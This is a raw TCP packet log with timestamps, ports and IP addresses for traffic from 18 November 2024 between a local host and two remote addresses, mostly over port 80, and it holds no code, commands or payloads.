Nov 18, 2024 02:34:25.988882065 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.988907099 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.988948107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.988960981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.988972902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989010096 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989027023 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989038944 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989048004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989064932 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989068031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989080906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989093065 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989100933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989114046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989124060 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989129066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989140034 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989146948 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989171982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989209890 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989228010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989249945 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989264011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989268064 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989275932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989289045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989303112 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989330053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989439011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989449978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989465952 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989478111 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989509106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989530087 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989533901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989546061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989557028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989581108 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989645958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989658117 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989669085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989681005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989682913 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989694118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989703894 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989727974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989742994 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989751101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989763021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989774942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989788055 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989789009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989799976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989811897 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989818096 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989836931 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989886999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989924908 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.989948034 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989965916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989976883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.989995956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990008116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990016937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990017891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990030050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990056038 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990346909 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990374088 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990387917 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990432978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990444899 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990456104 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990467072 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990478992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990480900 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990490913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990500927 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990504980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990515947 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990528107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990528107 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990540981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990552902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990561008 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990586996 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990678072 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990689039 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990703106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990727901 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990740061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990778923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990792036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990811110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990823984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990828037 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990837097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990849018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990861893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990873098 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990897894 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990916967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990926981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990936995 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990948915 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990961075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990962029 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990977049 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.990986109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.990997076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991003036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991009951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991022110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991025925 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991034985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991046906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991061926 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991076946 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991085052 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991101980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991113901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991142035 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991172075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991183996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991194010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991209984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991264105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991296053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991309881 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991328001 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991338968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991348982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991350889 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991360903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991373062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:25.991375923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.991399050 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.996165991 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:25.997818947 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:25.997859001 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:25.997926950 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.000649929 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.000670910 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.058553934 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.072201967 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.105597019 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.121260881 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.145565033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145579100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145682096 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145740032 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145751953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145765066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145776987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145790100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145802975 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145812035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145826101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145837069 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145848036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145863056 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145874977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145883083 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145891905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145917892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145927906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145940065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.145953894 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.145983934 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146085978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146097898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146107912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146122932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146130085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146137953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146151066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146167040 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146167994 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146187067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146193027 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146199942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146203041 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146212101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146231890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146243095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146245003 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146250010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146258116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146269083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146281958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146291971 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146292925 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146305084 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146316051 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146317005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146341085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146372080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146387100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146398067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146409988 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146423101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146436930 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146442890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146456957 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146461010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146476030 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146488905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146493912 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146498919 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146508932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146521091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146527052 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146533966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146545887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146548986 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146574974 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146620989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146631956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146642923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146652937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146663904 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146668911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146672010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146699905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146704912 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146713018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146723986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146734953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146754980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146759033 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146770000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146781921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146783113 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146797895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146810055 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146811962 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146823883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146836996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146836996 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146856070 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146927118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146939993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146950006 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146960974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146967888 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.146972895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146989107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.146990061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147022009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147063017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147075891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147085905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147098064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147100925 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147110939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147121906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147124052 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147135973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147146940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147170067 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147208929 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147222042 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147244930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147258043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147272110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147284031 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147316933 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147356987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147367954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147378922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147389889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147394896 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147403002 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147413969 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147417068 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147428036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147445917 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147456884 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147469044 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147470951 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147481918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147495031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147512913 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147526026 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147557974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147568941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147579908 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147589922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147600889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147604942 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147613049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147623062 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147658110 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147664070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147675991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147687912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147701025 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147708893 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147741079 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147819996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147831917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147844076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147854090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147865057 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147867918 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147877932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147886992 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147891045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147902012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147919893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147919893 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147932053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.147941113 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.147964954 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148047924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148060083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148071051 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148082018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148097038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148109913 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148111105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148118019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148123980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148128986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148128986 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148135900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148145914 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148150921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148161888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148174047 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148176908 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148200035 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148225069 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148231030 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148238897 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148428917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148439884 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148449898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148461103 CET	80	49776	185.215.113.16	192.168.2.6
